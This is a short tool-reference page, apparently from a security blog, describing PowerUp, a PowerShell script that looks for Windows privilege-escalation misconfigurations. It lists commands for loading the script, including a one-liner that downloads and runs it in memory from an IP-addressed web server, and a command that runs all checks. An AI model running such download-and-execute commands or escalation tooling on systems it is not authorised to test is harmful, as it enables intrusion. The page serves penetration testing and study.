ToolsFebruary 9, 20261 min readby 0xt0pus

PowerUp

PowerShell privilege escalation tool that checks for common Windows misconfigurations


PowerUp

Description

PowerUp is a PowerShell tool for Windows privilege escalation. It checks for common misconfigurations like unquoted service paths, modifiable services, registry autorun vulnerabilities, and more.

Usage 1: Load PowerUp

Command:

. .\PowerUp.ps1

Command (Import Module):

Import-Module .\powerup.ps1

Command (Load remotely):

IEX (New-Object Net.WebClient).DownloadString("http://172.16.99.11:8000/Powerup.ps1")

Usage 2: Run All Checks

Run all privilege escalation checks from PowerUp.

Command:

Invoke-AllChecks